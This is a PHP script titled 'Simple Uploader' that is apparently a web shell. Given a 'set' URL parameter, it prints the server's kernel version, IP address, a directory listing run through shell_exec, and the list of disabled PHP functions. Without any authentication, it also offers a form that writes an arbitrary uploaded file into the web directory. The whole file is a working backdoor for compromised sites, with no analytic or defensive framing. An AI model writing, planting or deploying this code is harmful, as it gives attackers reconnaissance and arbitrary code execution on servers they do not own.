Simple Uploader

<?php

session_start();
$_SESSION['set']=isset ($_GET['set'])?trim(strip_tags($_GET['set'])):'';

if($_SESSION['set']!='')
{
echo '<title>0zie</title>';
echo 'Kernel    : <b>'.php_uname().'</b>';
echo '<br>';
echo 'Server IP :<b>'.$_SERVER["SERVER_ADDR"].'</b>';
echo '<br>';
echo 'Dir & Files : <pre>'.shell_exec('ls -la').'</pre>';
//for show disbaled functions :
error_reporting(E_ALL);
$disabled_functions = ini_get('disable_functions');
if ($disabled_functions!='')
{
$arr = explode(',', $disabled_functions);
sort($arr);
echo '<font color=red><b>Disabled Functions: </b></font>';
for ($i=1; $i<count($arr); $i++) {
echo $i.'-'.$arr[$i].'&nbsp;&nbsp;&nbsp;';
}
}
else {
echo '<font color=red><b>Disabled Functions :</b></font> : NONE<br>';
}
    die;
}
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
    if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Ok</b><br><br>'; }
    else { echo '<b>Bad</b><br><br>'; }
}
?>